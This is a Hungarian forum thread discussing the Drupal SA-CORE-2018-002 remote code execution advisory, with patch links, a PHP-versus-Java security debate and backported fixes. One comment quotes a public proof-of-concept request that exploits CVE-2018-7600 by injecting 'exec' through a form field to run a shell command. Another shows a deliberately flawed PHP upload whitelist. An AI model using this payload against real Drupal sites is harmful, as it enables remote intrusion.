Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002

 ( trey | 2018. március 28., szerda - 20:30 )

Ahogy az várható volt, a Drupal projekt kiadta a Drupal 5.x, 6.x, 7.x, 8.x verziókat érintő, távoli kódfuttatást lehetővé tevő, "Highly critical" besorolású sebezhetőség biztonsági figyelmeztetőjét. Megtalálható itt. A sebezhetőséggel kapcsolatos FAQ itt.

Patchek:

Drupal 6 patch: https://www.drupal.org/files/issues/2018-03-28/SA-CORE-2018-002.patch
Drupal 5 patch: https://www.drupal.org/files/issues/2018-03-28/sa-core-2018-002-d5.patch

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5

function stripDangerousValues(...) {
  ...
  if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
    ...
  }
  ...
}

Ez valami fasza PHP feature vagy Drupal feature, hogy #-ot tartalmazó kulcs veszélyt jelent? Elég vicces, hogy a bootstrap kódból ütik agyon szőnyegbombázással, jó sok mindent érinthetett...

Itt az érintett kód, a "$function($form, $form_state);" sor gyakorlatilag eval-olja a form megfelelő mezőjét: https://github.com/drupal/drupal/blob/7.x/includes/form.inc#L1496-L1527

Szóval tipikus fos PHP-s kód, belebaszunk mindent egy form nevű kulcs-érték tárolóba és mindenféle mókás dolgokra használjuk.

pontosan.
_ezért_ nem PHP-zünk.

Ezért nem phpzunk retardalt modon.

lehet nonretard modon is?!

+1, no nem mintha pl. pythonban ne lehetne hasonlót elkövetni.

Váó, ez aztán az érvelés. Bármilyen nyelven írok neked hasonló kódot. Az nem a nyelv hibája, hogy valaki szarul használja. Ennyi erővel hagyjuk a C, C#, Java, stb. nyelveket is, mert azokban is írtak már szar kódot, ami biztonsági problémához vezetett.

Azt erősen kétlem :D

A php maga egy nagy biztonsági probléma. Nincs semmi guideline, mégis hogy kéne tákolni, csak úgy belebasztak fícsöröket, és... ennyi.
Nincs se a nyelvnek, se a keretrendszernek struktúrája.
Jávában nehezebb szar kódot írni (sok indiaival dolgozom :-) eddig egyiknek sem sikerült ilyen szintű elbaszást csinálnia, pedig azért próbálkoztak).

És:
Váó, ez aztán az érvelés, hogy akkor biztos a többi nyelv is szar.

Tessék, guideline: http://www.phptherightway.com
Ezen felül a nagyobb frameworkok doksijában is elég szépen le van vezetve, hogy hogyan érdemes csinálni a dolgokat. Az már más kérdés, hogy hányan olvassák el.

Nem mondom, hogy a PHP tökéletes, de minden eszközt lehet szarul használni. Láttunk már olyan biztonsági hibát, ami egysoros if-nél lefelejtett kódblokk miatt keletkezett, és az sem véletlen, hogy a java appleteket száműzték a böngészők.
PHP-ben könnyű gyorsan látványos eredményeket elérni, ezért majd' mindenki "ért hozzá", így bizony keletkezik nem kevés szar kód. Az ilyenek miatt (is) kvázi divat a PHP-t gyűlölni. De olyan hülyeséget ne írjunk már le, hogy azért nem szabad PHP-t használni, mert egy Drupal fejlesztő egy form elemből közvetlenül veszi a hívandó függvényt. :D Ez egyáltalán nem gyakori (sőt, még nem is láttam ilyet). Elég nagy blama, de ez a Drupal blamája, nem a PHP-é. Annyi másért lehetne basztatni a PHP-t, ez konkrétan nem az ő hibája.

"de minden eszközt lehet szarul használni"

Ebbe már sokszor belementünk itt a HUP-on. Ez egy igaz, de semmitmondó állítás.

A PHP tele van meglepő, alapból nem biztonságos működéssel. Mondok 2 példát.

1. A PHP-ban ha kapsz egy inputot, ezerféleképpen kell szanálni, attól függően hogy hol használod, és kurvára észnél kell lenni, egy apró hiba és megvan a sechole. A PHP-ban ez egyszerűen túl könnyű. Én Javában olyan erősen típusos request objektumokat kapok, hogy esélyem sincs hibázni. Egy integer mezőből soha a büdös életben nem lesz véletlenül végrehajtott függvény, mint most itt a Drupalban.
2. Minden PHP guide tele van avval, hogy SQL injectionre vigyázni kell. Elég egy apró botlás. Én Javában olyan frameworkön keresztül érem el az adatbázist, hogy esélyem sincs user inputot szó szerint SQL-hez fűzni, mert már le se fordul.

Ezt lehetne naphosszat folytatni, illetve volt a phpwtf.org, de sajnos úgy néz ki, hogy megszűnt. És abba ne is menjünk bele, hogy mindezek mellett egy teljesen következetlen nyelv és főleg a standard library-je az.

"Én Javában olyan frameworkön keresztül érem el az adatbázist, hogy ..."

És szerinted PHP-hoz nincs ilyen? :) Nézz meg egy Laravelt pl., hogy hogyan működik az Eloquent.

Egyrészt az Eloquent egy ORM, nem egy súlycsoport az SQL querykkel ahol mindenféle joint, aggregációt, egyebeket akar az ember. Mutass olyan PHP keretrendszert, ami még futtatás előtt megmondja egy SQL queryről, hogy user input van-e a benne vagy nincs. Másrészt az a baj, hogy ez egy framework, a maga függőségeivel és egyebekkel, és vagy bele tudod gyömöszölni a projektedbe vagy nem. Az a baj, hogy gyárilag olyan libraryje van a PHP-nek, ami nem hülyebiztos, és csak utólag kezdtek el gondolkodni ezen, külső megoldás kell. Maga a csapda ott van, neked kell pluszban dolgozni azon, hogy elkerüld.

Java FW jó: "Én Javában olyan frameworkön keresztül érem el az adatbázist, hogy ..."
PHP FW rossz: "Másrészt az a baj, hogy ez egy framework, a maga függőségeivel és egyebekkel"
Értem :)

PDO és prepared statement használatával viszonylag könnyű elkerülni a problémák nagy részét, és nem egyáltalán nem macera vele dolgozni.

Amiről én beszélek, az egy olyan adatbázis, aminek az eléréséhez egyetlen library létezik, és az gyárilag biztonságos. SQL queryben csak compile time string constant szerepelhet és fordítás időben eldobja, ha nem azt teszel bele. Ezt az adatbázist nem lehet nem biztonságos módon elérni. Továbbra is várom, tud-e ilyet a PHP.

PHP-ban csillió rendszer van. Amíg létezik nem biztonságos adatbázis library, addig azt használni is fogják. És még a PDO mellett is el lehet követni SQL injectiont, nem zárja ki a lehetőségét. Nem azt mondom, hogy könnyű, de egyrészt be lehet nézni (véletlen beteszed a $x-et a query közepébe mert nem tűnt fel hogy ez egy prepared statement), másrészt egyes dolgokat a PDO tudtommal nem tud kezelni (pl. tábla és oszlop neve nem behelyettesíthető, muszáj betenni $x-et a query közepébe).

Az SQL injection eléggé általános probléma, így én azt nem keverném bele a php nyelv hibáiba.

Lehet, hogy SQL injection-t nehezebb Java-ban csinálni, de helyette meg van a saját baja: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

whitesourcesoftware.com alapján a tavalyi év legjelentősebb, webes szolgáltatásokat érintő hibák:
- Spring CVE-2016-9879 and CVE-2016-5007 (Java)
- jackson-databind CVE-2017-7525 (Java)
- jQuery WS-2017-0195 (JavaScript)
- Apache ZooKeeper CVE-2017-5637 (Java)
- Apache Tomcat CVE-2017-12617, CVE-2016-6794 (Java)
- node-mime WS-2017-0330 (JavaScript)
- Tough-Cookie WS-2017-0307 (JavaScript)
- Angular WS-2017-0120 (JavaScript)
- The Jakarta Multipart parser in Apache Struts2 (Equifax): CVE-2017-5638 (Java)
- Krack (WiFi) (C/C++)

+1 CVE-2018-1270: Remote Code Execution with spring-messaging

Spring Framework is a popular, lightweight and an open source framework for developing Java-based enterprise applications.

Vulnerable Spring Framework versions expose STOMP clients over WebSocket endpoints with an in-memory STOMP broker through the 'spring-messaging' module, which could allow an attacker to send a maliciously crafted message to the broker, leading to a remote code execution attack

via
https://pivotal.io/security/cve-2018-1270
https://thehackernews.com/2018/04/spring-framework-hacking.html

Sajnos a typesafety hiánya miatt elég könnyű hibát véteni, pl. ez elsőre jónak tűnik:

<?
$file = $_FILES["upload"];
$whitelist = range(1, 5000);

if (in_array($file["name"], $whitelist)) {
    move_uploaded_file($file['tmp_name'], "upload/" . $file['name']);
} else {
    die("Invalid filename");
}
?>

Viszont "5backdoor.php" -ra is true-t ad vissza az in_array, így már kész is a baj.

Még több hasonló, keresd a biztonsági hibát a php-kódban feladvány: https://www.ripstech.com/php-security-calendar-2017/ (csak hardcore arcoknak)

az in_array-nek van egy harmadik opcionális paramétere is, hogy strict legyen-e az ellenőrzés.

Drupal feature-ről van szó: a belső API-k egy része (kiváltképp Forms API, render-tömbök) a #-tel kezdődő értékeket speciálisan kezelik: kvázi property-kről van szó tömbökben, míg a nem #-tel kezdődő értékek általában gyermekelemek azonosítói, tehát ezek alapján épülnek fa-félék. (Régi öröksége ez a Drupalnak, először nekem is fura volt anno.)

Infóim szerint ugyan az 5.x-et nem említik, az is érintett. Készül a patch.

--
trey @ gépház

A HUP elvileg patchelve. Ha valaki hibát észlelne, kérem jelezze a szokásos csatornákon.

A gyors patch backportolást nevergone-nak köszönhetjük!

--
trey @ gépház

Remek üzemeltetés, gratulálok. Az első 0.001%-ban benne vagytok :)

Grat

köszi nevergone! :)

subscribe

-----
„Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben.”
rand() a lelke mindennek! :)
Szerinted…

Cloudflare WAF workaround: We have also in accordance, just pushed out a rule to block requests matching these exploit conditions for our Web Application Firewall (WAF). You can find this rule in the Cloudflare Specials ruleset in your dashboard under the Drupal category with the rule ID of D0003. - https://blog.cloudflare.com/drupal-waf-rule-to-mitigate-critical-exploit/

PoC: https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py


url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
requests.post(url, data=payload)

Ez viszont komolyabb ügy, holnap este: https://www.drupal.org/psa-2018-003

-----
„Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben.”
rand() a lelke mindennek! :)
Szerinted…

> This security release is a follow-up to the one released as SA-CORE-2018-002 on March 28.

Tehát mégse jött be a különösen elegáns, "valódi javítás helyett unseteljük a #-al kezdődő post paramétereket" dolog?

A javítás (majdnem) jó volt, még ha kicsit brutális is.
Tudod egy ilyen security fix nem olyan egyszerű dolog. Egyrészt javítsa a hibát, ez alap. Másrészt minél kevesebb helyen változtasson a rendszeren, hogy könnyen feltehető legyen amúgy nem frissített (elmaradott) rendszerekre is és ne változzon a rendszer eddigi működése. Harmadrészt a javítás legyen olyan, hogy abból ne derüljön ki rögtön a hiba kihasználásának a módja.

-----
„Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben.”
rand() a lelke mindennek! :)
Szerinted…

Drupal 5

patch: https://gist.github.com/nevergone/0dfd1d1f30b4acc984474268d98c7f04
includes/bootstrap.inc: https://gist.github.com/nevergone/fbfec842a8307d994a0fa9843cbd293e

-----
„Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben.”
rand() a lelke mindennek! :)
Szerinted…